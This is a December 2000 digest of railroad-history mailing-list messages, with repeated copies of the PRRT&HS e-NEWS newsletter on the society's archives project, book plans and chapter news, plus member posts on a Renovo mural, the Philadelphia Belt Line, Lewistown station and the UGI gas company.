THE ARCHIVES PROJECT

As reported last month Robert L. Johnson was appointed Chairman of a new

Archive Committee.  Broadly speaking, his duties and that of the Committee

are to supervise everything necessary to organize, catalogue, preserve, and

maintain the Society's collection of historical materials at Lewistown

Station and to make them available for use.  Because the Society has grown

considerably since the last time Bob held any official position perhaps an

introduction is in order.



Bob was born and raised in Lewistown and visited our station many times as a

youth.  He is a graduate of Yale University with MS and Ph.D. degrees from

the University of Pittsburgh, all in Mechanical Engineering.  He worked for

more than 34 years for Westinghouse Electric in their Research Laboratories

and is now retired.  Although his hobby interest might seem obvious, Bob

claims his real hobby is finding new and different interests and tasks to

prevent him from ever building the Pennsy model railroad that was his reason

for joining the Pennsylvania Research & Information Association (PRRT&HS

predecessor) back in 1969.



Research into PRR history led to several articles on cabin cars and freight

cars in early issues of "The Keystone." Bob served on PR&IA board, wrote its

by-laws, was one of the five signers of the original articles of

incorporation of the PRRT&HS, in March 1974, and served on its first Board

of Directors.  He was the second editor of "the Keystone", producing Volumes

8 and 9.  His tenure was cut short by his election as Vice President, then

President of a small international engineering society.



Bob has 18 years experience as a volunteer for the Altoona Area Public

Library, making nearly 5000 archivally-processed photographic prints from

the PRR motive power negatives while they were on loan there.  He was also

among the PRRT&HS volunteers who rescued the collection of some 5,200 glass

plate negatives from the Pittsburgh Station.  Bob sorted and indexed the

collection, cleaned the best of them, and placed them in archival envelopes.

He housed the collection for 14 years in a secure, dry area until the

Society was ready to accept them at Lewistown.  He also participated in the

temporary storage of the drawings from Pittsburgh Station and their transfer

to Lewistown.



Since retirement, Bob has spent over 400 hours doing PRR research at various

archives and has served as a volunteer at the Pennsylvania State Archives.

He is familiar with archives from the point of view of both user and

volunteer. There is little doubt that Bob has impeccable credentials to

serve as our Archive Chairman.



ARCHIVE PROJECT STATUS

Two professional archivists have made assessments of the Society’s Archives

and their reports and recommendations have been received.  Last week Bob met

with Society President Dick Adams and discussed the Archive project in

depth.  Bob and Dick visited Strasburg, met archivist Kurt Bell, and toured

the Library and Archive there.  They also discussed the Archives project

with Walt Keely and received much background information.  Many suggestions

for archival information were received in discussion with archivist Sharon

Nelson at the State Archives.



WHAT NEEDS TO BE DONE NOW?  Before our volunteer teams can be formed and

begin their work, there are several tasks that must be completed:



1.Nominate additional members for the Archives Committee and have them

appointed by the Board of Directors.

2.Visit Lewistown Station to assess general conditions and needs.

3.Determine the types and quantities of materials in the collection at

Lewistown.

4.Determine the storage needs and the space available.

5.Establish the needs for workspace for archival processing.

6.Ensure that there are no safety or air quality concerns.

7.Determine the database file structure needed to properly index and

describe the collection.

8.Set up a computer with the database file structure ready for use by the

volunteers.

9.Purchase and install any needed shelving units, acid-free archival boxes

and folders, and all other supplies needed by the teams.

10.Obtain recommended books and manuals on proper archival procedures and

read them.

11.Write an Archival Process Manual for our Archive.

12.Select volunteer team leaders and train them in the proper archival

methods.

13.Prepare the baggage room/dormitory for use by the volunteer teams.

14.Prepare a set of rules for use of the buildings, including cleanup

procedures.

15.Write a handbook for volunteers, including qualifications,

responsibilities, benefits, and a statement of ethical standards.

16.Decide on a plan of action for the volunteers, including formation of

teams, assignments, etc.



This turned out to be a surprisingly long list, which will require some time

to complete.  Several of the tasks have already been started. Your continued

patience and understanding will be deeply appreciated by Bob and the

Committee.



If you have comments, suggestions or questions about the Archives project,

you may direct them to Bob at rjohnson@capslock.net.  Time pressures may

preclude individual answers, but all messages will be read and may form a

basis for future reports in e-NEWS.



PHILADELPHIA CHAPTER

At their December 2nd meeting the chapter elected the following officers: Al

Gianntonnio – President, Joe Butler  – Vice President, Dan Diaddezio – Board

Secretary, Charlie Horan – Treasurer. Fred Monsimer will continue as

Recording Secretary.

The meetings for the first half of 2001 are scheduled for – January 20 and

March 10 at Drexel Hill and June 2-3 (Chapter’s 25th Anniversary) at Pennsy

Days in Strasburg – get these dates on your calendar now.

==================



AS CURRENTLY PLANNED e-NEWS WILL NO LONGER BE DISTRIBUTED THROUGH PRR-FAX,

PRR-TALK, PRR-MODELING, CYBER-TALK OR NORTHEAST RAILS AND SIGNALS. IF YOU

WISH TO CONTINUE RECEIVING THIS PUBLICATION PLEASE SUBSCRIBE BY SENDING A

BLANK MESSAGE TO PRRTHSe-NEWS-subscribe@egroups.com



IF YOU EXPERIENCE ANY TROUBLE SUBSCRIBING PLEASE NOTIFY ME AT

abbuchan1@home.com  AND INCLUDE YOUR COMPLETE e-MAIL ADDRESS.



MEMBERS ARE REMINDED THAT ANNUAL DUES ARE DUE AT THIS TIME. ALSO PLEASE

INCLUDE YOUR CITY OR TOWN ON THE RETURN FORM. UNFORTUNATELY A SPACE FOR THAT

INFORMATION WAS NOT PROVIDED.



The Board of Directors extends its best wishes for a Joyous Holiday Season.



Al Buchan, Editor PRRT&HS e-NEWS

Reply to PRRTHSe-NEWS@egroups.com

or abbuchan1@home.com





-------------------------- eGroups Sponsor -------------------------~-~>

eLerts

It's Easy. It's Fun. Best of All, it's Free!

http://click.egroups.com/1/9699/1/_/586931/_/976890400/

---------------------------------------------------------------------_->



"PENNSY Spoken Here" As We Enjoy Sharing Factual Information While Remembering Our PRR Heritage.





!!NEXT MESSAGE!!
From: "Al Buchan" <abbuchan1@home.com>

Subject: [CYBER] FW: PRRT&HS e-NEWS Number 2 - December 2000

Date: Fri, 15 Dec 2000 09:20:04 -0500



PRRT&HS e-NEWS

Number 2 – December 2000

=====================



A monthly electronic newsletter of the PRRT&HS published for the purpose of

disseminating information on current issues and events pertaining to the

Society’s operations and administration.

=====================



SPECIAL BOOK ON PRR MARINE OPERATIONS

As reported in the November e-NEWS consideration was being given to

publishing a major comprehensive book written by member William H. Moyer on

the role of marine operations on the PRR. Well this project (approximately

300 pages hardbound) is now a “GO.” Chuck Blardone reports – “I'm in a ‘full

speed ahead’ mode.” Chuck is requesting B&W or color prints or slides of PRR

maritime subjects, with captions.  If a contributor's material is selected

and published, he'll receive a complimentary copy of the book.



Here are Chuck’s priorities for pictures (in order):

1) PRR fleet vessels, be they tugs, ferries, steamers, or lesser equipment.

I prefer a variety...several photos of varying classes of vessels, rather

than many of one type, while ignoring lesser subjects.  Obviously larger

vessels should receive more attention than barges though, for example.

2) PRR marine facilities in New York, Philadelphia, Baltimore and Great

Lakes. General arrangements (perhaps aerials or panoramas), with a few

detail shots, perhaps of a ferry or steamship in the process of docking.  If

there are photos showing how a major facility changed over the course of

time, choose a spread of photos to illustrate the fact.

3) Crewmen and including people in photos is highly desirable.   Crewmen at

work at their stations.  Passengers disembarking a ferry. Dignitaries posed

alongside something maritime Pennsy.

4) Crisp photos that preferably have not been published before.

5) Color if color adds a dimension.  Most vintage subjects look as good as

color when reproduced in black-and-white.  Should the movie “The Train,”

with Burt Lancaster have been produced in color?  Absolutely not!

6) Give me as much information as you can as far as captions are concerned.

A few sentences are preferred, not just a place and a date.



It was also previously reported that the book would be ready for the 2001

annual meeting. Because of the complexities of the subject matter and

required editing and additional research it now appears the book will

probably not make that deadline.



CALL FOR ARTICLES – From “Keystone” Editor Chuck Blardone

The volume of article submissions to “The Keystone” varies considerably over

time.  Of late, the flow has been less than is necessary to maintain a

healthy backlog.  Knowing that it takes time from when an article is

conceived and when it comes to “The Keystone” for publication, I like to

keep the pipeline healthy.  I encourage you folks to “take pen in hand”

(more appropriately, keyboard in hand) and tackle a favorite subject for our

quarterly.  There’s a great deal of satisfaction to be gained from

authoring, and research will increase your knowledge of your chosen subject

(and likely, associated subjects) many fold.  Please feel free to contact me

with any questions that you may have.



I am also soliciting photos (or "favorite" photos), with captions, from

members who do not have sufficient material for (or wish to write) an

article. I'd like to run a "Members' Favorite Photos" section in "The

Keystone" (see Winter 2000 edition), as contributions allow.  As always, all

materials loaned to "The Keystone" will be returned undamaged or marked,

concurrent with publication.  We can use color or black-and-white, prints or

slides.



SPECIAL CALL FOR MODELING ARTICLES – Also from Editor Chuck Blardone

Over the past several years there has been a growing voice that “The

Keystone” avoids modeling subjects.  It is true that we have a reluctance to

enter the sphere of, say, “Model Railroader,” but we are receptive to

modeling submissions.  We are certainly willing to produce a magazine that

echoes the desires of our readers (albeit difficult to gauge)! So we are

hereby setting a goal of publishing several superior modeling articles a

year.  However, we’re starting from “ground zero,” and have no such articles

in hand.  The ball’s in your court - we await your serve!



Chuck has prepared two documents to assist prospective authors: “Information

for Authors” and “Keystone Manual of Style. He will supply either or both at

no charge.  If you wish an electronic copy, he will send Word document

attachments as a response to an e-mail to him at blardone@redrose.net .  If

you prefer a hard copy, please send him a 9" x 12" self-addressed, stamped

(77¢ in postage) at 2886 Wimbledon Lane, Lancaster, PA 17601-1454.



LEWISTOWN STATION – From Walt Keely

The major portions of the reconstruction of the first level of the baggage

building and the new construction of the MW (section tool house) type

building are nearly complete. This added space should provide additional

safety to the main building as well as provide a secure and environmentally

friendly storage space for Society materials with easy access.



Walt also added - All orders for microfilm prints are delayed and will be

run in the next two weeks. My sincere apology to those who ordered prints,

but work schedules have not provided sufficient time to get to Lewistown (4

hours driving) and run prints.



THE ARCHIVES PROJECT

As reported last month Robert L. Johnson was appointed Chairman of a new

Archive Committee.  Broadly speaking, his duties and that of the Committee

are to supervise everything necessary to organize, catalogue, preserve, and

maintain the Society's collection of historical materials at Lewistown

Station and to make them available for use.  Because the Society has grown

considerably since the last time Bob held any official position perhaps an

introduction is in order.



Bob was born and raised in Lewistown and visited our station many times as a

youth.  He is a graduate of Yale University with MS and Ph.D. degrees from

the University of Pittsburgh, all in Mechanical Engineering.  He worked for

more than 34 years for Westinghouse Electric in their Research Laboratories

and is now retired.  Although his hobby interest might seem obvious, Bob

claims his real hobby is finding new and different interests and tasks to

prevent him from ever building the Pennsy model railroad that was his reason

for joining the Pennsylvania Research & Information Association (PRRT&HS

predecessor) back in 1969.



Research into PRR history led to several articles on cabin cars and freight

cars in early issues of "The Keystone." Bob served on PR&IA board, wrote its

by-laws, was one of the five signers of the original articles of

incorporation of the PRRT&HS, in March 1974, and served on its first Board

of Directors.  He was the second editor of "the Keystone", producing Volumes

8 and 9.  His tenure was cut short by his election as Vice President, then

President of a small international engineering society.



Bob has 18 years experience as a volunteer for the Altoona Area Public

Library, making nearly 5000 archivally-processed photographic prints from

the PRR motive power negatives while they were on loan there.  He was also

among the PRRT&HS volunteers who rescued the collection of some 5,200 glass

plate negatives from the Pittsburgh Station.  Bob sorted and indexed the

collection, cleaned the best of them, and placed them in archival envelopes.

He housed the collection for 14 years in a secure, dry area until the

Society was ready to accept them at Lewistown.  He also participated in the

temporary storage of the drawings from Pittsburgh Station and their transfer

to Lewistown.



Since retirement, Bob has spent over 400 hours doing PRR research at various

archives and has served as a volunteer at the Pennsylvania State Archives.

He is familiar with archives from the point of view of both user and

volunteer. There is little doubt that Bob has impeccable credentials to

serve as our Archive Chairman.



ARCHIVE PROJECT STATUS

Two professional archivists have made assessments of the Society’s Archives

and their reports and recommendations have been received.  Last week Bob met

with Society President Dick Adams and discussed the Archive project in

depth.  Bob and Dick visited Strasburg, met archivist Kurt Bell, and toured

the Library and Archive there.  They also discussed the Archives project

with Walt Keely and received much background information.  Many suggestions

for archival information were received in discussion with archivist Sharon

Nelson at the State Archives.



WHAT NEEDS TO BE DONE NOW?  Before our volunteer teams can be formed and

begin their work, there are several tasks that must be completed:



1.Nominate additional members for the Archives Committee and have them

appointed by the Board of Directors.

2.Visit Lewistown Station to assess general conditions and needs.

3.Determine the types and quantities of materials in the collection at

Lewistown.

4.Determine the storage needs and the space available.

5.Establish the needs for workspace for archival processing.

6.Ensure that there are no safety or air quality concerns.

7.Determine the database file structure needed to properly index and

describe the collection.

8.Set up a computer with the database file structure ready for use by the

volunteers.

9.Purchase and install any needed shelving units, acid-free archival boxes

and folders, and all other supplies needed by the teams.

10.Obtain recommended books and manuals on proper archival procedures and

read them.

11.Write an Archival Process Manual for our Archive.

12.Select volunteer team leaders and train them in the proper archival

methods.

13.Prepare the baggage room/dormitory for use by the volunteer teams.

14.Prepare a set of rules for use of the buildings, including cleanup

procedures.

15.Write a handbook for volunteers, including qualifications,

responsibilities, benefits, and a statement of ethical standards.

16.Decide on a plan of action for the volunteers, including formation of

teams, assignments, etc.



This turned out to be a surprisingly long list, which will require some time

to complete.  Several of the tasks have already been started. Your continued

patience and understanding will be deeply appreciated by Bob and the

Committee.



If you have comments, suggestions or questions about the Archives project,

you may direct them to Bob at rjohnson@capslock.net.  Time pressures may

preclude individual answers, but all messages will be read and may form a

basis for future reports in e-NEWS.



PHILADELPHIA CHAPTER

At their December 2nd meeting the chapter elected the following officers: Al

Gianntonnio – President, Joe Butler  – Vice President, Dan Diaddezio – Board

Secretary, Charlie Horan – Treasurer. Fred Monsimer will continue as

Recording Secretary.

The meetings for the first half of 2001 are scheduled for – January 20 and

March 10 at Drexel Hill and June 2-3 (Chapter’s 25th Anniversary) at Pennsy

Days in Strasburg – get these dates on your calendar now.

==================



AS CURRENTLY PLANNED e-NEWS WILL NO LONGER BE DISTRIBUTED THROUGH PRR-FAX,

PRR-TALK, PRR-MODELING, CYBER-TALK OR NORTHEAST RAILS AND SIGNALS. IF YOU

WISH TO CONTINUE RECEIVING THIS PUBLICATION PLEASE SUBSCRIBE BY SENDING A

BLANK MESSAGE TO PRRTHSe-NEWS-subscribe@egroups.com



IF YOU EXPERIENCE ANY TROUBLE SUBSCRIBING PLEASE NOTIFY ME AT

abbuchan1@home.com  AND INCLUDE YOUR COMPLETE e-MAIL ADDRESS.



MEMBERS ARE REMINDED THAT ANNUAL DUES ARE DUE AT THIS TIME. ALSO PLEASE

INCLUDE YOUR CITY OR TOWN ON THE RETURN FORM. UNFORTUNATELY A SPACE FOR THAT

INFORMATION WAS NOT PROVIDED.



The Board of Directors extends its best wishes for a Joyous Holiday Season.



Al Buchan, Editor PRRT&HS e-NEWS

Reply to PRRTHSe-NEWS@egroups.com

or abbuchan1@home.com





----------------------------------------------------------------------

This list ("Cyber-Talk") is for discussion of Cyber Chapter (PRRT&HS) 

business only. All general modeling and/or Pennsy discussion should 

take place on "PRR-Talk". For assistance with this list, send the 

message "help" to "listserv@dsop.com".

----------------------------------------------------------------------

To access the "Members Only" section of the web site, click on a link and, 

when prompted, enter the user name "member" and the password "standardrr".



!!NEXT MESSAGE!!
From: "Al Buchan" <abbuchan1@home.com>

Subject: [PRR] FW: PRRT&HS e-NEWS Number 2 - December 2000

Date: Fri, 15 Dec 2000 09:20:04 -0500



PRRT&HS e-NEWS

Number 2 – December 2000

=====================



A monthly electronic newsletter of the PRRT&HS published for the purpose of

disseminating information on current issues and events pertaining to the

Society’s operations and administration.

=====================



SPECIAL BOOK ON PRR MARINE OPERATIONS

As reported in the November e-NEWS consideration was being given to

publishing a major comprehensive book written by member William H. Moyer on

the role of marine operations on the PRR. Well this project (approximately

300 pages hardbound) is now a “GO.” Chuck Blardone reports – “I'm in a ‘full

speed ahead’ mode.” Chuck is requesting B&W or color prints or slides of PRR

maritime subjects, with captions.  If a contributor's material is selected

and published, he'll receive a complimentary copy of the book.



Here are Chuck’s priorities for pictures (in order):

1) PRR fleet vessels, be they tugs, ferries, steamers, or lesser equipment.

I prefer a variety...several photos of varying classes of vessels, rather

than many of one type, while ignoring lesser subjects.  Obviously larger

vessels should receive more attention than barges though, for example.

2) PRR marine facilities in New York, Philadelphia, Baltimore and Great

Lakes. General arrangements (perhaps aerials or panoramas), with a few

detail shots, perhaps of a ferry or steamship in the process of docking.  If

there are photos showing how a major facility changed over the course of

time, choose a spread of photos to illustrate the fact.

3) Crewmen and including people in photos is highly desirable.   Crewmen at

work at their stations.  Passengers disembarking a ferry. Dignitaries posed

alongside something maritime Pennsy.

4) Crisp photos that preferably have not been published before.

5) Color if color adds a dimension.  Most vintage subjects look as good as

color when reproduced in black-and-white.  Should the movie “The Train,”

with Burt Lancaster have been produced in color?  Absolutely not!

6) Give me as much information as you can as far as captions are concerned.

A few sentences are preferred, not just a place and a date.



It was also previously reported that the book would be ready for the 2001

annual meeting. Because of the complexities of the subject matter and

required editing and additional research it now appears the book will

probably not make that deadline.



CALL FOR ARTICLES – From “Keystone” Editor Chuck Blardone

The volume of article submissions to “The Keystone” varies considerably over

time.  Of late, the flow has been less than is necessary to maintain a

healthy backlog.  Knowing that it takes time from when an article is

conceived and when it comes to “The Keystone” for publication, I like to

keep the pipeline healthy.  I encourage you folks to “take pen in hand”

(more appropriately, keyboard in hand) and tackle a favorite subject for our

quarterly.  There’s a great deal of satisfaction to be gained from

authoring, and research will increase your knowledge of your chosen subject

(and likely, associated subjects) many fold.  Please feel free to contact me

with any questions that you may have.



I am also soliciting photos (or "favorite" photos), with captions, from

members who do not have sufficient material for (or wish to write) an

article. I'd like to run a "Members' Favorite Photos" section in "The

Keystone" (see Winter 2000 edition), as contributions allow.  As always, all

materials loaned to "The Keystone" will be returned undamaged or marked,

concurrent with publication.  We can use color or black-and-white, prints or

slides.



SPECIAL CALL FOR MODELING ARTICLES – Also from Editor Chuck Blardone

Over the past several years there has been a growing voice that “The

Keystone” avoids modeling subjects.  It is true that we have a reluctance to

enter the sphere of, say, “Model Railroader,” but we are receptive to

modeling submissions.  We are certainly willing to produce a magazine that

echoes the desires of our readers (albeit difficult to gauge)! So we are

hereby setting a goal of publishing several superior modeling articles a

year.  However, we’re starting from “ground zero,” and have no such articles

in hand.  The ball’s in your court - we await your serve!



Chuck has prepared two documents to assist prospective authors: “Information

for Authors” and “Keystone Manual of Style. He will supply either or both at

no charge.  If you wish an electronic copy, he will send Word document

attachments as a response to an e-mail to him at blardone@redrose.net .  If

you prefer a hard copy, please send him a 9" x 12" self-addressed, stamped

(77¢ in postage) at 2886 Wimbledon Lane, Lancaster, PA 17601-1454.



LEWISTOWN STATION – From Walt Keely

The major portions of the reconstruction of the first level of the baggage

building and the new construction of the MW (section tool house) type

building are nearly complete. This added space should provide additional

safety to the main building as well as provide a secure and environmentally

friendly storage space for Society materials with easy access.



Walt also added - All orders for microfilm prints are delayed and will be

run in the next two weeks. My sincere apology to those who ordered prints,

but work schedules have not provided sufficient time to get to Lewistown (4

hours driving) and run prints.



THE ARCHIVES PROJECT

As reported last month Robert L. Johnson was appointed Chairman of a new

Archive Committee.  Broadly speaking, his duties and that of the Committee

are to supervise everything necessary to organize, catalogue, preserve, and

maintain the Society's collection of historical materials at Lewistown

Station and to make them available for use.  Because the Society has grown

considerably since the last time Bob held any official position perhaps an

introduction is in order.



Bob was born and raised in Lewistown and visited our station many times as a

youth.  He is a graduate of Yale University with MS and Ph.D. degrees from

the University of Pittsburgh, all in Mechanical Engineering.  He worked for

more than 34 years for Westinghouse Electric in their Research Laboratories

and is now retired.  Although his hobby interest might seem obvious, Bob

claims his real hobby is finding new and different interests and tasks to

prevent him from ever building the Pennsy model railroad that was his reason

for joining the Pennsylvania Research & Information Association (PRRT&HS

predecessor) back in 1969.



Research into PRR history led to several articles on cabin cars and freight

cars in early issues of "The Keystone." Bob served on PR&IA board, wrote its

by-laws, was one of the five signers of the original articles of

incorporation of the PRRT&HS, in March 1974, and served on its first Board

of Directors.  He was the second editor of "the Keystone", producing Volumes

8 and 9.  His tenure was cut short by his election as Vice President, then

President of a small international engineering society.



Bob has 18 years experience as a volunteer for the Altoona Area Public

Library, making nearly 5000 archivally-processed photographic prints from

the PRR motive power negatives while they were on loan there.  He was also

among the PRRT&HS volunteers who rescued the collection of some 5,200 glass

plate negatives from the Pittsburgh Station.  Bob sorted and indexed the

collection, cleaned the best of them, and placed them in archival envelopes.

He housed the collection for 14 years in a secure, dry area until the

Society was ready to accept them at Lewistown.  He also participated in the

temporary storage of the drawings from Pittsburgh Station and their transfer

to Lewistown.



Since retirement, Bob has spent over 400 hours doing PRR research at various

archives and has served as a volunteer at the Pennsylvania State Archives.

He is familiar with archives from the point of view of both user and

volunteer. There is little doubt that Bob has impeccable credentials to

serve as our Archive Chairman.



ARCHIVE PROJECT STATUS

Two professional archivists have made assessments of the Society’s Archives

and their reports and recommendations have been received.  Last week Bob met

with Society President Dick Adams and discussed the Archive project in

depth.  Bob and Dick visited Strasburg, met archivist Kurt Bell, and toured

the Library and Archive there.  They also discussed the Archives project

with Walt Keely and received much background information.  Many suggestions

for archival information were received in discussion with archivist Sharon

Nelson at the State Archives.



WHAT NEEDS TO BE DONE NOW?  Before our volunteer teams can be formed and

begin their work, there are several tasks that must be completed:



1.Nominate additional members for the Archives Committee and have them

appointed by the Board of Directors.

2.Visit Lewistown Station to assess general conditions and needs.

3.Determine the types and quantities of materials in the collection at

Lewistown.

4.Determine the storage needs and the space available.

5.Establish the needs for workspace for archival processing.

6.Ensure that there are no safety or air quality concerns.

7.Determine the database file structure needed to properly index and

describe the collection.

8.Set up a computer with the database file structure ready for use by the

volunteers.

9.Purchase and install any needed shelving units, acid-free archival boxes

and folders, and all other supplies needed by the teams.

10.Obtain recommended books and manuals on proper archival procedures and

read them.

11.Write an Archival Process Manual for our Archive.

12.Select volunteer team leaders and train them in the proper archival

methods.

13.Prepare the baggage room/dormitory for use by the volunteer teams.

14.Prepare a set of rules for use of the buildings, including cleanup

procedures.

15.Write a handbook for volunteers, including qualifications,

responsibilities, benefits, and a statement of ethical standards.

16.Decide on a plan of action for the volunteers, including formation of

teams, assignments, etc.



This turned out to be a surprisingly long list, which will require some time

to complete.  Several of the tasks have already been started. Your continued

patience and understanding will be deeply appreciated by Bob and the

Committee.



If you have comments, suggestions or questions about the Archives project,

you may direct them to Bob at rjohnson@capslock.net.  Time pressures may

preclude individual answers, but all messages will be read and may form a

basis for future reports in e-NEWS.



PHILADELPHIA CHAPTER

At their December 2nd meeting the chapter elected the following officers: Al

Gianntonnio – President, Joe Butler  – Vice President, Dan Diaddezio – Board

Secretary, Charlie Horan – Treasurer. Fred Monsimer will continue as

Recording Secretary.

The meetings for the first half of 2001 are scheduled for – January 20 and

March 10 at Drexel Hill and June 2-3 (Chapter’s 25th Anniversary) at Pennsy

Days in Strasburg – get these dates on your calendar now.

==================



AS CURRENTLY PLANNED e-NEWS WILL NO LONGER BE DISTRIBUTED THROUGH PRR-FAX,

PRR-TALK, PRR-MODELING, CYBER-TALK OR NORTHEAST RAILS AND SIGNALS. IF YOU

WISH TO CONTINUE RECEIVING THIS PUBLICATION PLEASE SUBSCRIBE BY SENDING A

BLANK MESSAGE TO PRRTHSe-NEWS-subscribe@egroups.com



IF YOU EXPERIENCE ANY TROUBLE SUBSCRIBING PLEASE NOTIFY ME AT

abbuchan1@home.com  AND INCLUDE YOUR COMPLETE e-MAIL ADDRESS.



MEMBERS ARE REMINDED THAT ANNUAL DUES ARE DUE AT THIS TIME. ALSO PLEASE

INCLUDE YOUR CITY OR TOWN ON THE RETURN FORM. UNFORTUNATELY A SPACE FOR THAT

INFORMATION WAS NOT PROVIDED.



The Board of Directors extends its best wishes for a Joyous Holiday Season.



Al Buchan, Editor PRRT&HS e-NEWS

Reply to PRRTHSe-NEWS@egroups.com

or abbuchan1@home.com





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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 08:34:29 -0600

From: "Colm Chomicky" <ccho@burnsmcd.com>

Subject: [PRR] PRR Renovo Post Office Mural



Apparently there is a mural at the Renovo Post Office depicting PRR shop workers circa 1940 to 1942.  I believe this mural has resided on the walls of the Renovo Post Office since it was painted in the 1940s.  Do any listers know if this mural is still there?  I contacted the artist's daughter and as of 10 years ago this mural was still at the post office.



This mural is certainly very impressive and captures the hustle of production during this wartime era.  Certainly if this mural is still there, it would make a worthwhile visit for railrans passing through the Renovo area.  For those who are interested, a link to this mural is provided below.



http://haroldlehman.com/reno.html 



Colm Chomicky

Prairie Village, KS

http://www.homepages.go.com/~prr1







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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 07:59:11 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] The Philadelphia Belt Line



Thanks for info received. While poking around on the

web I found a pile of cover letters for decisions of

the Railroad Retirement Board, which mentioned the

PBL.



http://rrb.gov/cov_index3.html



A letter linked from that page recites a brief

history. They say that the PBL began in 1889, never

was an operating railroad, did have maintenance and

other employees (not employes), the last retired 31

Aug, 1992, hence PBL is no longer an employer in the

eyes of the RRB. It apparently continues to exist as a

real estate holding company.



There are a scad of RRs mentioned on the page, y'ns

might find something of interest there.



In terms of my original question, apparently the PBL

wasn't a "real" belt line, in that it didn't run

around anything (like a belt) and may not have

intended to. I did see in a rather dull site relating

to the Conrail/NS/CSX affair that some concern was

expressed that "the Philadelphia Belt Line principle"

be observed. Don't know what that was driving at, but

I suppose the PBL was intended to prevent one RR from

artfully building lines to prevent other RR's from

access to the Phila waterfront.







 



=====

Bob Netzlof a/k/a Sweet Old Bob





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!!NEXT MESSAGE!!
From: NDBPRR@aol.com

Date: Fri, 15 Dec 2000 11:41:53 EST

Subject: [PRR] Lewistown station





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In looking through Pennsy Power last night there is a picture of DD-1's being 

delivered.  The engines are pulled by a couple of 2-8-0's and the caption 

reads that they are taking water in Lewistown.  The building right behind the 

train would appear to be the station but it has a clock tower which the 

current one does not.  Is this the right station or location?  Was the tower 

torn down or not restored?  Thanks



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>In looking through Pennsy Power last night there is a picture of DD-1's being <BR>delivered. &nbsp;The engines are pulled by a couple of 2-8-0's and the caption <BR>reads that they are taking water in Lewistown. &nbsp;The building right behind the <BR>train would appear to be the station but it has a clock tower which the <BR>current one does not. &nbsp;Is this the right station or location? &nbsp;Was the tower <BR>torn down or not restored? &nbsp;Thanks</FONT></HTML>



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!!NEXT MESSAGE!!
Date: Fri, 15 Dec 2000 08:49:37 -0800 (PST)

From: robert netzlof <wb3iqe@rocketmail.com>

Subject: [PRR] The I in UGI (long, speculative)



Thanks to the many for responding. I've noted

previously that I grew up believing the world ended

just east of Altoona. Had I grown up nearer

Philadelphia, apparently I would thought of the United

Gas Improvement Co. as "the gas company" and would not

have thought there was anything odd about the name.



I now believe that the name may have reflected both

the real estate sense of "improvement" and the

possibility of "improving the gas". I'm teetering on

the edge of a long, non-PRR-related rant on "how

things have changed in this century" but I'll restrain

myself.



I admit to having set forth the questions in a

flippant mood engendered by too little sleep brought

on by too much time reading the CT1000 (a PRR

document, to touch topicality, however briefly).



The assertions that the heat content of gas is pretty

much what it is, that the bad smell is deliberatly

introduced; yes, all that's true here in 2000 and for

a few decades into the past when "gas" means "natural

gas".



But what about 1923? What about Philadelphia in 1923?

I've poked at the Web since putting the question. A

couple of URL's may be of interest:



http://www.ushistory.org/philadelphia/timeline/



Although named US History, it's really Philadelphia

History (a not uncommon attitude in Phila., it seems.)



http://phila.gov/phils/



A bit hard to find one's way in, but has articles

outlining the responsibilities and history of the

several arms of city government, and similar articles

on departments/bureaux/offices which have been

abolished.



The Library of Congress RR maps collection has a

couple of PRR-prepared maps from the 1850's,

apparently relating to getting the freight trains off

the streets which show proposed routes to the City Gas

Woks and from there to the riverfront.



The articles at the .gov site indicate that Phila.

started work building a municipal Gas Works in 1835.

An article on Department of Gas suggests that

initially this was to supply gas to street lights, and

refers to "...gas and naphtha..." street lights.



The pages on both sites indicate that UGI

leased/contracted to operate the City Gas Works in

1897.



There was one tantalizing reference turned up by

google.com which mentioned UGI and the Berwind-White

Coal Co. (a major PRR customer) in the same sentence

but, alas, the link was stale, I couldn't find the

page.



All this, I think, adds up to Philadelphia's having

entered the 20th century with a "gas works" which

manufactured gas, presumably by processing coal.

Whether natural gas was available there in 1923 is not

known to me. I've seen enough evidence of gas

manufacture still sitting around in the 50's to

suggest that large cities may still have been doing

that into the 20's or even later.



If they were still roasting/toasting/baking coal to

produce "gas", then there might be scope for

"improving the gas", such as increasing yield, adding

petroleum vapors to increase BTUs, filtering to remove

odor, more consistent composition, and on and on.



On t'other hand, the idea of a company which existed

to lay gas lines and operate a supply system,

"improve" in the real estate sense, makes sense also.



As to the Rizzo-era boondoggles:



a) At the Library of Congress web site, there is a

"work in progress" page on American Corporate History

Bibliography which has an ominous sounding entry

something like:



Political Corruption

  United Gas Improvement Company

    1914 - 1924



[Everything old is new again?]



b) There are reasons why some folks here in the west

speak of Filthydelphia.



     



=====

Bob Netzlof a/k/a Sweet Old Bob





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!!NEXT MESSAGE!!
From: NDBPRR@aol.com

Date: Fri, 15 Dec 2000 12:56:51 EST

Subject: Re: [PRR] The I in UGI (long, speculative)





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The assertions that the heat content of gas is pretty

much what it is, that the bad smell is deliberatly

introduced; yes, all that's true here in 2000 and for

a few decades into the past when "gas" means "natural

gas".



But what about 1923? What about Philadelphia in 1923?

As an old steel mill guy involved in the energy departments I couldn't resist 

commenting.  Natural gas is primarily mehthne which like carbon monoxide is 

odorless.  At least to the point that one drop of methyl mercaptan is added 

per million cubic feet to give it a detectable odor.  I really don't know of 

any other gas that burns that is odorless.  The gas in 1923 Philadelphia 

could have been acetylene or coke gas which have BTU contents about half that 

of natural gas.  Either one would have required delivery of either carbide or 

coal for manufacture and hence the PRR thread.  Both are highly odorous by 

the way.



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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>The assertions that the heat content of gas is pretty

<BR>much what it is, that the bad smell is deliberatly

<BR>introduced; yes, all that's true here in 2000 and for

<BR>a few decades into the past when "gas" means "natural

<BR>gas".

<BR>

<BR>But what about 1923? What about Philadelphia in 1923?

<BR>As an old steel mill guy involved in the energy departments I couldn't resist <BR>commenting. &nbsp;Natural gas is primarily mehthne which like carbon monoxide is <BR>odorless. &nbsp;At least to the point that one drop of methyl mercaptan is added <BR>per million cubic feet to give it a detectable odor. &nbsp;I really don't know of <BR>any other gas that burns that is odorless. &nbsp;The gas in 1923 Philadelphia <BR>could have been acetylene or coke gas which have BTU contents about half that <BR>of natural gas. &nbsp;Either one would have required delivery of either carbide or <BR>coal for manufacture and hence the PRR thread. &nbsp;Both are highly odorous by <BR>the way.</FONT></HTML>



